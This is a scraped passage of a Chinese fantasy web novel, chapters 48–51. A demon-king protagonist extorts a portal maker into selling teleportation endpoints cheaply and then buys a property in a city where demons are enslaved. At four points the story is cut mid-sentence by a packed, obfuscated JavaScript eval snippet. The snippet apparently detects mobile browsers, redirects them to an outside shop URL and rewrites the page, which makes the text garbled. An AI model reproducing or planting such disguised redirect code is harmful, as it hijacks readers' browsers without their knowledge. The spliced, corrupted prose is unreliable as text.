l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924305|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 传送阵就更不好说了，价值通常在七位数。 这也是妮娜对于未能进入魔法学院一事倍感遗憾的重要原因。如果能掌握稳定的回路设计技能，哪怕只精通传送阵的制作，也能在毕业五年之内攒够好几辈子的钱。 今后随着魔法成为顶级的热门专业，魔法学生的数量增加，魔法行业的收入势必会锐减几番。只有在此之前毕业的魔法学生才能真正赚到特殊时代的红利。 ——如果没有四年前的意外，妮娜如今就是站在风口上的猪。每次想起这其中的落差，她都会感到痛心疾首。 但至少现在她知道为什么萨利会强行修改她的志愿了。 七贵族不会希望让魔王习得魔法的精髓。 她看了一眼传送阵定制网站上标注的价格，又无意识地看了一眼自己掌心的纹路，突然想到一个重大的问题——她是一个魔王，至少维克多和阿斯代伦他们都承认她是一个魔王，可她为什么不会魔法呢？ 就她从《勇者笔记》中获得的认知，每代魔王在绝对王权之外，都具备无与伦比的魔法天赋，他们生来就精通包括元素、时空、重力等各种类型的魔法，当然也包括其中最高深难懂的那些内容。 她决定就相关疑问咨询一下维克多、莉莉还有文森特这三位相对年长的，或许对相关知识有所了解的住户。 如果她能因此对各类魔法有所开悟的话，他们就能省下一笔巨款，并且开发新的营收项目。 三位活得最久的住客被房东邀请至101室密谈。 “其实关于这个问题，我在得知您的身份后就进行过深入的考虑。”维克多一如既往地表现出他那种富有学识和探究精神的态度。 “你得到什么结果了吗？”文森特看上去比妮娜本人还要好奇。 “我想我实在愧为邻居之中的年长者。”莉莉对自己的一无所知表示抱歉，“先代魔王生活的时代对我来说还是太遥远了。” 毕竟那是三百年前的事。而这位女妖小姐“只有”八十岁。话说回来，即使是他们之中最为年长的维克多，也没有亲眼见识过一位真正的魔王的风采。 这位看起来依然十分年轻的幽灵直言不讳地发表了自己的一系列见解。 “众所周知，魔王之卵是从生命之树的最顶端诞生的，但是自树冠被砍伐后，生命之树就只能诞生普通的魔族，而再也无法孕育新的魔王了。” “由此可以推知，房东大人，或者说我的陛下，您曾经寄宿的那颗卵果，恐怕在人魔大战的时代就已经诞生了。出于各种我们无法确切获悉的原因，那颗魔王之卵直到二十二年前才成功孵化，而魔法也随着您的真正降生而再次复苏。” “我想，您在出生之前，应该一直都被放置在贵族院的眼皮底下，而他们也一定通过某种方法压制、甚至更糟糕的情况——剥取了您的力量。” 妮娜的表情有些凝重，然后从放在书桌下的小冰箱里取出了那袋可疑的汤料包：“会是这东西导致的吗？我从小喝到大的。” 48. 第 48 章 “说清楚，怎么回事？” “是这样的，威科姆先生，本应该出现在要塞码头的货物在进入王都的魔法阵后就不见了踪影，或许您应该去现场看看——如果不能将货物找回来的话，您将依据合同条例，赔付一半货款损失。” 这段话的疑点太多，并且轻易地戳中了威科姆的肋骨。 “合同？你说的那是什么见鬼的合同？我为什么要为你们公司的工作失误赔付你们客户的损失？你说传送阵出现了问题？这不可能，一定是你们内部员工徇私枉法，贪没了一整批货物，你们怎么不先查查自己的人？” 对面似乎也因为这场重大的工作失误而有些不安，但整体上仍努力保持着平和的态度：“我司与您签下的每一份订单都有相应的合同，一式两份，上面应该明确规定了这一点。另外，我司对传送阵的使用有明确规范，在每个工作线上还设置了不间断工作的摄像头，我们已经确认过不存在员工误操作和私藏货物的问题。” “你等等，我先确认一下以前的合同……”威科姆拉开了几个抽屉，找到了存放纸质合同的档案袋，随手从里面抽出了几份，果然从那些密密麻麻的小字中找到了疾力主管所说的那些内容，“该死的索莱尔，他居然给我下套？” 签署第一份合同的时候，他还是一个没怎么接触过社会的大学生，加上他与索莱尔之间的合作看起来本就有些随意，也就没在意过合同的具体内容——他还以为那只是一种形式上的东西，主要是为了让他不要忘记自己应该完成的阵法内容和数量。 随着合作的深入，加之一直以来良好的合作氛围，威科姆更加不会在意合同的具体内容。他怎么会想到自己竟因此吃瘪。 “威科姆先生，请您及时进行赔付，并前往我司确认传送阵故障的起因，否则我司会通过法律维护自身权益。我想，如果事情闹大，受损最严重的，应该就是先生的信誉了。” 听到这话，威科姆的身体猛然一震，他手忙脚乱地打开刚才回复过的那封原始邮件，找到了其中的一段内容： “我想您一定不会以失去信誉的代价拒绝我们的请求，也同样不会类似的代价开一个不够公道的价格，或是怠慢您的客人。请相信，我们绝对有能力让你付出相应的代价。” “难道这就是你所谓的代价吗？！”他怒火中烧地说道。 “先生，您说什么？” “没什么！！！把你们那该死的账单送来，我会第一时间把钱打过去的。至于故障阵法的修理——我现在就过来，现在过来总行了吧！！！” “那是最好不过的了，先生，我会在五分钟之内将账单发送到您的邮箱。” 扬声器再没有发出别的声音了，威科姆觉得刚才发生的事情有些缺乏真实性。他不知道这是巧合还是报应，又或者真的是那个神秘发信人的惩罚，相比之下，他更情愿是前两种情况。 他不是那种非常勤奋好学的人，可以说一直靠天赋或者说天生的聪明活到现在，他不需要费力学习就能考上最好的学校。当年的魔法学院是恩斯法内大学录取分数最低的一个学院——他是擦线上的这所名流大学，不过这也足够他和他的父母向四里八乡的邻居吹嘘个遍了。 研究传送魔法，以及靠魔法赚了大钱、成了即使在王都也能横着走的富人，这些事情对他来说都有点像从天上掉下的馅饼。 他从出生至今的人生，可以说是一帆风顺。如果命运真的要给他一点小小的报应，他或许应该虚心地接受。 可如果这一切是被人，而不是被命运所操控的，那就另当别论——因为这就意味着无论他多么好运、多么富有，终究还是能被人轻易地拿捏。 他做了几个深呼吸，又做了一会儿冥想，决定给神秘发信人再回一封邮件： “我刚才的态度着实有些恶劣，或许让您感到不快。为了表达最真诚的歉意，我决定以二万卡什的价格向您提供一对能确保二百公里安全传送容距的魔法阵，并在一周之内完成。请尽快告知您的意愿，我好及时对合同和报价单作出调整。” 回信快得让威科姆以为那是一封自动邮件： “如果您觉得自己的信誉和未来价值为十八万卡什，那么我们将乐意接受这个价格。” 能考上恩斯法内大学的人绝对不可能是一个笨蛋，威科姆立刻明白了这句话的意思。十八万指的是二十万和二万的差价。很显然，对方仍不满意这个折扣。 尽管他不知道对方是如何做到的，但发生在疾力的事故就是他们所提供的证明——证明他们绝对有能力毁了他的下半辈子。 * “虽然两千卡什对我来说不完全是一个小数目，但、但那可是一个容距两百公里的传送魔法啊！”妮娜看到维克多拿来的报价单后，着实没能克制住惊讶的情绪，即使她知道传送魔法行业的暴利之处。 无论如何，把原本可能两百万都拿不下的东西压价到两千，这恐怕已经超出讨价还价的范畴，进入敲诈勒索的领域了吧？ “您原本可以不花费任何代价就得到这一切的，至少我一点也不乐意看到人类拿着您的力量来杀您的猪。”维克多说，“就是只算劳务费用，两千卡什都嫌多了。” “想到这一点，我就觉得你的话很有道理了。”妮娜一手托着脑袋，仰头望着窗外，“如果我会魔法的话……” 维克多注意到她表情的变化，不过没有就此发表意见，“我已经暗示过威科姆，什么时候交付端口，就什么时候让要塞的传送阵恢复正常，他一定会加班加点地替我们赶制。” “也就是说我还得去一趟疾力的物流点……天知道在那里寻找延展回路的时候我有多么提心吊胆。” “让您受累了。” 妮娜蓦地从窗外收回视线，小声嗫嚅道：“我不是在抱怨什么。我只是偶尔会感到不安。” “我明白。” 维克多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924307|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曾经从一些老人口中听说过过去的魔王是如何完成代际传承的。 他最近觉得自己对那些生命末期的魔王感同身受——明明已经没有遗留多少力量，却要小心翼翼地守望始终被人“惦记”的胎果。 人类的书籍有时会阐明权力和力量应该保持统一，没有力量的权力不过是空中楼阁，随时都会倒塌。 令人欣慰的是权力在魔界是一个拥有绝对性意义的词汇。通常它与力量相伴相生，但也不会因为力量的消失而荡然无存。 倒不如说在魔界，没有权力的力量才是真正的空中楼阁，因为一旦出现更加强大的力量，它就会变得无可奈何。 * 不知道是威科姆加班加点的成果，还是传送端口的设计就是如此简单，在妮娜借疾力物流公司连接威科姆工作室的传送阵往他那儿送了两千卡什的现金之后，还没过去十二个小时，威科姆就发来信件，声称已经可以交货。 如何在不泄露情报的前提下收取端口就成了一个问题。 威科姆显然清楚自己的一些资料早就被对方一览无余，通过从传送阵出现的那笔现金，他完全可以推想对方可以像投送这笔现金一样往他家里投送一颗炸弹。 这种劣势反而导致他在此时掌握了主动权，他已经露了底，也就无所畏惧了，他不介意花点时间去挖掘有关对方的线索，然后再以他能够想到的各种罪行将对方送进监狱。 他调查了那笔现金的入口，发现就是疾力那个出现故障的物流点，这一发现让他不禁冷笑，那个和他电话联系的疾力主管口口声声说绝不是他们内部成员的问题，可是除了内部员工，还有谁能在工作时间使用公司内部的传送阵支付现金？ 他想立刻致电疾力的那位主管，告诉他自己如何发现了这个漏洞，但一旦提及此事，就不免介绍这两千卡什的来历，如果让疾力方面知道自己用这样的价格提供了一对容距二百公里的端口，又不知道会闹出什么笑话来。 可要是什么都不说，又让他白白背了“传送阵出错”的锅，让疾力手握一个随时能让他在魔法传送的业界失去一切的把柄——这也是让人难以忍受的。 最终，威科姆决定以“调查故障”的名义潜入发生事故的物流点进行实地考察。在此期间，他一直保持着和神秘客户的邮件往来。 “您现在在哪？” “在家。” “也就是说，您随时可以利用‘那个’传送阵。” “是的。” “12:44准时进行交易。” 威科姆看了一眼时间，距离交货时间还有二十分钟。从邮件内容可以确定，神秘客户打算用和付款是同样的方法取货，这说明12:44时对方一定会出现在这个物流点、这个端口，他一定要把那家伙抓个现行，然后挽回自己在疾力这边失去的部分信誉。 至于那些更加严重的后果——只要把罪魁祸首抓住，自然也就不会发生了。 49. 第 49 章 然而十九分钟后，威科姆并没有在现场见到任何行迹可疑的人物。 他所在的这个端口因为前几日的事故而暂时停用，所有疾力员工都离这儿远远的，仿佛生怕沾到这里的晦气。 “我已经到了，您准备好交货了吗？”神秘客户的邮件不期而至。 “等一等！”威科姆飞快地回复道。 “还有一分钟，超过时间的话，您就会信誉扫地的。” 真见鬼！到底藏在哪里了！ 威科姆忍不住在心里骂了一句。没想到他那个绝无仅有的折扣和难得一见的工期都没能让那位客户心软，仍在用“信誉”和“未来”扼着他的咽喉。 “我现在在疾力公司的三号物流点，12号传送端口前！托您的福，疾力的主管让我上这儿来修理故障，我到现在还没有发现故障出在哪里，但是也来不及回家了！” 他继续飞快地通过键盘输入信息。他在脑中进行了各种紧急权衡之后，无奈地发现老老实实地按照那个可恶的家伙说的去做才是最好的。他不得不编造了半个谎言来为自己争取时间和机会。 他确实在那个12号端口前，但他的本意不是来修理故障。 “……” 新回复只有六个点——作为一封需要消耗星屑才能发送的邮件，这样的内容无疑有些奢侈。 威科姆开始急得冒汗。他现在已经丝毫不怀疑对方有能力让他身败名裂。 “我会让我的代理人过去，她不方便进入物流点内部，请您移步至三号物流点的门口与她进行交接。她很快就会到达，还请您不要怠慢。” 威科姆松了一口气，他心里的坏主意已经烟消云散，只想马上交货走人——那个代理人究竟是人是鬼他一点也不想关心了。他向物流点的门口走去。 代理人已经等在门口，见他出来，立刻挥了挥手：“威科姆先生！” 威科姆像具干尸一般走上前去，麻木地从公文包里摸出那对还未刻写地址的端口，并将其交至代理人手中。 这位代理人看起来还很年轻，应该还在念大学，眼眶下面挂着经常能在理工科学生脸上看到的黑眼圈，但也可以推测为她替一些见不得人的事情操了太多心——比如从他手上以两千卡什的价格套走这对传送端口，以及获得这对端口之后要干的那些坏事。 如果真是这样，他希望她背后的势力最好不要轻易暴露，或者在暴露之后不要将他牵涉其中。 “多谢。”她说，“听闻您是恩斯法内大学魔法学院的首批毕业生，自恩斯法内开设魔法专业之后，我一直把它当成自己的第一志愿。” 威科姆脸上终于有了一点活气：“那个时候想进魔法学院的人可不多。如果不是为了恩斯法内大学的名气，大多数人会去次一档的大学学更好的专业。” “我有时候会想，如果当时考得差一点，是不是就能去魔法学院了……”代理人面色惆怅地嘀咕起来，“不……他们是无论如何都不会让我去学魔法的。” “你也是恩斯法内的学生？听起来还是那种高分专业……”威科姆敏锐地读出了这些话背后的内容，并感到有些意外，“那你为什么还要做这种事？”在他看来，这个年轻姑娘背后的组织一定与某种黑恶势力有关。 代理人皱了一下鼻子：“哪种事？我只不过是在为毕业和就职而努力罢了。” 威科姆虽然过着富裕的生活，但因为此事与他日后的业务发展息息相关，所以他清楚知道这几年除了魔法生之外，普通的大学毕业生都不好过。 作为被风口吹上天的猪，他不能在受害者面前得了便宜还卖乖。 也许她是为了维持生计，不得不选择替“黑老大”办事。他既不用为此负责，更无须为此自责，反正都是贵族院的错。 他只要三缄其口，当做什么都没有发生，保护好自己就够了。 当威科姆回到家中的时候，上次与他通过话的疾力主管又来了电话： “感谢您今日的工作，故障端口已被修复，那批消失的货物也顺利出现在要塞码头。之前那笔赔款，我们将在扣除延期违约金的部分之后原路返还给您。” 威科姆终于松了一口气。 * 现在该解释一下我们年轻的魔王是如何做到这一切的了。 她虽然失去了魔力，但依然是魔法的主人，世间的魔法力量随着她的诞生与成熟日渐滋长，她拥有着掌控它们的权能。由于魔力的确实，她无法操控大型魔法阵，但区区传送魔法完全不在话下。 人类都以为传送阵的回路范围只包括连接出入口的两个端口，实际上并非如此，但相关的知识似乎在从魔界流向人类社会的时候被疏漏了。 即使是在人类之中最先对传送魔法开展深度研究的威科姆，也不会想到故障发生在中途，而非两端。 在需要的地点铺设并启动成对的传送阵之后，两个法阵之间就会形成一条肉眼不可见的通道，就像输水管道将水从自来水公司送到每户人家一样，被置入传送阵内部的物品也会通过这条通道抵达出口端，只是速度比自来水快得多，甚至比光的传播速度还要快很多。 经过这样的阐述，应该就可以想象，只要在这条通道的中间某个位置开一个口——就像在水管中间开一个口一样——再插入一块挡板，就能轻而易举地拦截正在通过其中的物体。 被妮娜·斯特尔拦下的，正好就是那一大批要被送往要塞的货物。 之所以会选择这条通道，当然是因为除了连接要塞之外，它在中途有一个通向威科姆工作室的秘密分支，也是威科姆和疾力进行钱货交易时的专用通道。 只要在它的上游进行拦截，就可以同时起到影响物流网络工作和秘密勾通威科姆工作室的效果，是个一举两得的选择。 也就是说，妮娜不需要守在端口附近，只要找到从端口延伸出来的回路，命令这截可怜的回路给她行个方便，一切就水到渠成了。 不过正如之前说过的那样，延展回路（即传输通道）是一种肉眼不可见的东西，即使是魔王，也难以在不具备任何魔力的情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924308|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 况下发现它们。 妮娜通过疾力在官网上公开的物流线路，结合王都的交通布局，再加上感觉敏锐的乌鸦的帮助，进行了各种分析之后，好不容易才找到了一条合适的回路。 这也要多谢她修的那些统计学课程。 “我会在近期去一趟赫尔马岱，铺设好这个传送端口，到时候我们就能方便地来往于两地了。”妮娜将威科姆交给她的两个端口放在桌面上。 罗德里斯公寓的住户们都不曾见过这种状态下的传送端口，不管是直白地还是矜持地，众人用各自地方式表现了内心的好奇，尤其是尚处幼年期的艾力克。 “它们看起来像两颗鸡蛋。”他将上半身趴在会议桌上，歪着脑袋观察着端口的外形。 妮娜伸手按了一下其中一颗鸡蛋的顶端，蛋壳立刻像炸裂一般，向四周小范围地辐射开去，在桌面上空形成一个没有实体的发光的圆盘，将围观者吓了一跳。 这是一个由三个大小不一的同心圆组合成的图形，较大的两个同心圆所形成的圆环上刻注有复杂而细小的纹路。 看起来更像图画的那些纹路就是魔法回路，而看起来更像数字的那些纹路则是魔法术式。容量越大、容距越长的传送阵往往会拥有越加精密的纹路。 最小的同心圆及其外部的圆环目前空白一片。 维克多指了指圆心的位置：“这里就是刻印端口位置的地方。” “上面什么都没有。”艾力克说。 “因为我们没有向制作人提出要求。”妮娜说，“一是因为我们还没有确定另一个端口的铺设位置，二是为了避免留下证据。如果不知道端口将会被放置在哪里，调查者——如果有的话——很难从全国各地的无数个传送阵里发现我们的这个。” “呃，我知道魔法来源于魔族，但我也知道……除了附带在种族天赋中的那些魔法特性之外，现在的魔族已经不会使用魔法了，他们被隔绝在那些知识之外。”布莱克说，“难道你们当中有人秘密学过魔法阵的相关技术？” 所有视线都集中到了这位唯一人类身上。 这让年轻人有些紧张：“我绝对不会告密的。我清楚自己的立场。要是你们出了什么事，我也不会有好日子过。我们现在是一条船上的，对吧。” 妮娜举起了手：“咳，其实我学过一些……所以我会负责完成这最后的部分。” 布莱克想起发生在新生集会上的对话，“哦，你说过你原本想去魔法学院的。你最后旁听了那里的课程？” 如果学校真的允许她旁听就好了。事实上，她的转院申请被无情驳回，连旁听请求也未能得到许可。 妮娜选择暂时隐瞒这一点：“旁听生没法学到太精髓的内容，不过给传送魔法添加定位倒不是太难的工作。” 布莱克毫不犹豫地相信了她的说辞，还流露出敬佩的神情：“经济学院的必修课程多如牛毛，你还愿意抽出时间去旁听魔法学院的课，看得出来你真的对魔法很感兴趣。可以让我观摩一下魔法阵的刻印过程吗？” 50. 第 50 章 就妮娜对布莱克那些微不足道的了解，她深知这位法学生从来对魔族没什么好感，也对魔法没有什么兴趣，而现在他正在对这一切慢慢改观，她不想在这个关键的时刻打击他的热情，于是硬着头皮点了点头。 “先让我们讨论一下把这个端口设置在哪里，然后我就可以开工了。”她说。 在一番简单的商量之后，与会者一致同意把传送阵的入口设置在楼梯下的墙壁上。那地方相对隐秘，而且误触的概率很小。 “我想想……”妮娜手持处于展开状态的端口，装模作样地对着那面空白的墙壁比划了一会儿，在布莱克殷切的注视中，像贴海报一般，将端口附了上去。 “这样就结束了吗？” “当然没有。” 妮娜将刻写笔从笔盖里拔了出来。 这是绘制魔法阵的专门道具，她曾出于兴趣收藏过一支，没想到真的可以派上用场。 “我要把传送阵的入口定在这儿。”她小声命令道。 布莱克不知道这话压根儿就不是同他讲的，还傻乎乎地应了一句：“没错，就是这儿，你放心大胆地弄吧。” 最小的圆圈里闪过一道细小的光，妮娜迅速将笔尖盖了上去，追随着光点的运动轨迹，假模假样地写了起来。 布莱克没有看出光点的运动速度其实比笔尖更快一点，他以为是房东的书写造就了那些光痕。 “你是怎么记住这些毫无规律的图形的？你看起来像是一个专业的绘制师。”他说，“你为什么不把它作为生计呢？我听说传送阵的价格一直都很高。” 确实很高。 如果布莱克听到这对传送端口的原价，他一定会昏过去的。 “这已经是我的极限了。真正的专业制作者要弄明白的可是外圈的那些图案。”妮娜轻轻抚摸了一下传送阵的外围，“不知道乌鸦有没有在赫尔马岱找到合适的房子。” “怎么说呢……妮娜，你似乎比我想象的要富裕很多。”布莱克有些心酸地说道。他在新生集会上还认为她是和自己一样的穷孩子呢。 妮娜当即解释道：“在赫尔马岱购置不动产的预算来自维克多的友情贷款。他才是那个超乎想象的富人。” 而布莱克同样毫不迟疑地接受了这个说法，因为潜入调查的才能和智慧大家有目共睹。 乌鸦在第二天中午的时候回到了罗德里斯公寓。 作为贵族院的秘密通缉犯，她本应该老老实实地躲在自己的屋子里，接受魔王陛下的庇护，但是“魔女退散”的护身符给了她太多底气，而她本来就是喜欢四处乱闯的性格，此次赫尔马岱考察之行也是她主动请缨的成果。 在出发前，她还特地让妮娜在护身符上追加了一些内容，这样就彻底高枕无忧了。 “赫尔马岱的不动产价格低得吓人，毕竟是‘臭名昭著’的工业区，但说实在的，环境比印象中的工业城市好很多。” “毕竟现在那些吃石油的重工机械已经被魔法机械替代了一部分。世界上还有比魔法更清洁的‘能源’吗？”莉莉替刚刚回归的邻居端来一盘茶点和一杯红茶，“午餐已经结束了，提前来点下午茶吧。” 布莱克从房间里出来，原本只是想去一趟洗手间，却也被热情的女妖邀上了餐桌，他啜了一小口茶：“这很奇怪……那些魔法挖掘机难道不是靠星屑驱动的吗？他们如何确保产出大于投入？星屑的分布和煤炭石油那些可不一样。” “去一趟你就知道了。”乌鸦的眼神变得凌厉起来，“有无数免费的劳动力供他们驱使——” 她搁在桌子上的手不由自主地握成了拳头：“就像街上那些媒介商人会从魔族身上获取魔力源流一样，矿场主会强迫魔族为那些魔法机械供能，他们比媒介商人更黑心，他们从不支付报酬，而且会把供能者压榨干净。 虽然魔族为人类社会的“发展与建设”做出了巨大贡献，但人类对这一人外种族一直保持着距离和警戒。虽然同样是王国的“合法居民”，那些魔物们却不得不以低人一等的姿态活着。 那些身材高大的巨魔和兽人是进行矿坑挖掘和搬运工作的好手，不需要进食和休息的死灵类则负担着各种各样的流水线作业。他们是人类的合法奴隶、可以进行公开歧视的对象。 妮娜小时候曾经从萨利那里听说了关于魔族的各种负面言论，他们缺乏教养且天性残暴，即使行为举止上表现出老实巴交的样子，心里也一定在谋划着可怕的事，无论在什么情况下，都不要接近他们、相信他们、同情他们。而他们之所以会过着如今这种丝毫没有尊严的生活，完全是他们过去所作所为的报应。 至于是何种所作所为，妮娜追问了，但萨利始终没有明言，只是言之凿凿地表示他们在过去令王国蒙受了巨大的损失，如今王国的人口不足也是当时留下的后患之一。 妮娜早就意识到，萨利对她的言传身教中存在着不少谬误，所谓的“过去”究竟如何，很可能只是人类的一面之词。 就算她没有接触过罗德里斯基地的原始魔族，她也已经对三百年前的大战产生了疑心。 更何况，现在她自己都成了那个“残暴种族”的其中一员。 赫尔马岱是王国中魔族人口比例最高的城市，和其他地区一样，这里的所有资产都被掌握在人类手里。 魔族没有办法购置不动产，而这里的人类房东们也大多不想将自己的房子租给魔族，所以很多在这里工作的魔族都住在矿山附近的窝棚里，那里的环境无论如何都称不上宜居，更何况伴随着被卷入塌方的危险。 这些没有住所的魔族经常会在某个夜晚过去后便悄然消失，永远不再出现。大家都知道他们一定是被抓去给机器供能了。但沉重又麻木的生活让他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12924309|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无暇关心这种“琐事”。 总之……比起赫尔马岱魔族，生活在王都的魔族可以说过得相当体面。 赫尔马岱魔族的粗略数量在一万上下，随着新魔族的出生，还有外向输送、死亡，这个数字在一年间会出现加减两千的浮动。 要解放如此为数众多的现存魔族，以及还未出生的未来魔族，光靠为他们提供住所显然是杯水车薪。 夺取赫尔马岱和生命之树的控制权，这个听起来像是天方夜谭一样的可怕计划其实自有其迫切性和必要性，甚至是……可行性。 背靠生命之树建成的赫尔马岱城市管理局凭借其优越的地理位置，总能在第一时间收获生命之树上的成熟果实。 那些对贵族院忠心耿耿的管理员会为从果实中诞生的魔族挂上属于他们的独一无二的编号牌，并在又厚又沉的名册上做好记录。 大多数种类的魔族在破壳的时候就已经达到了人类幼儿三岁左右才有的生理指标。 除了某些特定种族会被直接送去实验室，普通魔族会被管理局送进培养舱，通过注射针头获得必需的营养、通过管道进行排泄。 培养舱带有智能的言语培训，保证他们日后能够听懂命令，最重要的是，要保证他们能听懂“七圣灵的教谕”。 一名幼年魔物接受教谕，即标志着这个人口并不充足的国家又多了一名奴隶，或是一份“清洁能源”。 现在，妮娜已经能够凭借所掌握的情报推断出所谓的圣灵教谕究竟是什么东西了：七贵族借了他们从魔界窃取的大贵族核心，以人类的身份向新生的魔物们展现的神明的权能，通过语言文字为介质所呈现的“绝对权力”。 她对计划可行性的判断正来自于她所掌握的比七贵族更加绝对的权力。 在她的观念中，权力往往和压迫相伴，这种观念时常让她陷入对自己决定的怀疑。 用一种更强大的“压迫”去解放加诸魔族身上的“压迫”，无论如何，魔族们都没有脱离受到“强权压迫”的框架，但文森特和莉莉都表示她不应该用人类的观念去解读另一个种族的生态结构。 妮娜搭乘火车抵达赫尔马岱。 当她下车离站的时候，乌鸦已经在站口等她了。由于未经许可的魔族无权乘坐跨区域的公共交通，所以她依旧是飞过来的。 至于她的飞行速度竟能超过火车，也算是一个令人意外的事实。 乌鸦找到的“空壳”位于赫尔马岱二号矿区附近，编号为矿区2005，离城市管理局大约有两公里的路程，对步行来说多少有点不便，但据说那一带根本没有正在出售的房产。 而且在仔细分析区位环境、性价比以及其他各种因素之后，妮娜发现这确实是乌鸦在深入调查和权衡取舍后作出的最佳选择，于是她也没有过多犹豫，当下就联络了相应的中介公司交谈购置事宜。 51. 第 51 章 * “我很庆幸我们花了两百多年时间研究出来的大法阵没有变成一件装饰品。如果世上没有什么东西能够压制他的力量，我想我会从那时候开始连续失眠至今的。” “贝尔霍特，这话你最好永远别让阿斯代伦听到。” “我有分寸。不过你不觉得很可笑吗？当初启用大法阵，至少也是经过他的许可的。有时候我认为你们的担心有些多余，如果他真的那么在乎阿加雷斯，无论如何也会挣扎一下的吧？” “他在三百年前就是一个别扭的人。而三百年的时间足以让这种别扭变得更加……让人讨厌。而阿加雷斯毕竟是他的亲兄弟。” “老实说，我还以为你一点都不在意他呢。” “哼，我也有分寸。像他那种心思多得吓人的家伙，要是一点也不在意，总有一天要被他害惨的。” “我倒是觉得任他如何狡猾，只要不去招惹他，就不会遭他的无妄之灾，也许你应该反思一下自己的行为。” “让你的反思去见七圣灵吧，你最好不要变得和阿斯代伦一样让人讨厌。” “韦斯特尔，虽然不是我的本意，但既然我们已经站在一条船上了，你能不能别总是这么尖酸刻薄？你不能因为看我跑不了，就一个劲儿地磋磨我。有一个词叫同舟共济，我还挺喜欢的。” “我对谁都这样。” * 乌鸦看中的房子相当便宜，不过终究也是一件不动产，不像过分溢价的传送阵，妮娜没有售房者的把柄，也没有讨价还价的空间。 当她看到合同上那行数字的时候，右边的眉毛不由自主地抽搐了一下。 和她在购置1402号房产时一样，全款支付的过程出现了一些问题，万幸这次虽然没有乌瑟从中斡旋，但问题最终还是被负责的工作人员给解决了。 这次她警觉了一些，疑心这个所谓的问题恐怕没那么简单。 “也许贵族院在从中作梗……可为什么最后还是通过了？这好像说不通。”她在拿到房产证后，忍不住到相关网站上去确认了一下编号的真实性，“房产证没有问题。但我想他们一定能查到我向一个幽灵借了钱……” 乌鸦显得没那么多顾虑：“陛下，您在那天的会议上是怎么说的？您说贵族院根本无法忤逆一个魔王。” 妮娜涨红了脸：“那时候我太激动了。” 乌鸦笑了一下：“你没有说错，斯特尔女士，他们没法忤逆你，所以他们从不敢出现在你面前。” “没想到我会在大学毕业之前就背上房贷。”妮娜不打算深入下去，赶紧换了一个话题，“听起来我多么年轻有为。” “维克多竟然问你收利息？” “我不能坏了一家银行的规矩……尤其我还是一个，呃，魔王。” “什么意思？难道维克多的业务还涉及银行——这太脱离常识了！” “不完全准确，但也差不多，这是我们最近在筹划的一样东西。他到底是个活了快两百年的家伙，更何况还经历过那个传说中的黄金时代，我可以从他身上学到很多。” 尽管矿区2005不过是栋一无所有的空房子，妮娜和乌鸦还是考虑了很久才定下铺设传送端口的位置。 等到开启这个端口之后，传送魔法就能起效，她们可以随时来往于两栋公寓之间。 “我想我甚至可以开办王都和赫尔马岱之间的物流业务。”在唤醒端口的时候，妮娜忍不住开了个一半认真的玩笑，“在调查疾力的物流网时我就观察过了，虽然他们是全国首屈一指的物流公司，但最长的传输容距也没有超过两百公里，而且他们没有开通王都和工业区的路线……” “如果你真的打算做，我可以负责这项事务。”乌鸦说。 看到妮娜开始对传送阵“下令”，她又忍不住问了一句：“你不打算把真相告诉布莱克吗？你在他面前表演的那一套真是有够好笑的。” 妮娜瞪了她一眼，但神情还算严肃：“他现在虽然暂时和我们站在一起，那不过是生活所迫。他终究是货真价实的人类，我们的确需要人类协助者，但我觉得现在还没必要让他知道太多。” “他都已经知道我们夺取赫尔马岱的计划了。如果你担心他会泄密，就不应该让他参与到我们的会议当中。”乌鸦说，“我能感觉到，你在我们面前依然保留着人类的身份认同，可是在那个人类面前，反倒有身为魔王的自觉——我都不知道该感到难受还是欣慰了。” 她看到妮娜的表情有些茫然，赶紧补充道：“哦，别管我……你完全可以慢慢适应。毕竟你已经当了二十多年的人类。真是的，我到底在着急什么呢？” 妮娜低下头，对已经设定完毕的传送阵吩咐起来：“启动。”她一只脚跨了进去，魔法阵开始发光，“你在这儿稍等一会儿，我马上就回来。” 说着，她就消失在了魔法阵的光晕中。 大概过了半分钟左右，传送阵再次出现动静，白色的粘稠的液体从圆阵中心涌了出来，几乎是一眨眼的时间，就将这栋衰败的厂房粉刷一新。 这是乌鸦第一次真正看见恶魔城运作的样子，她嗅到了古老魔力的气息。 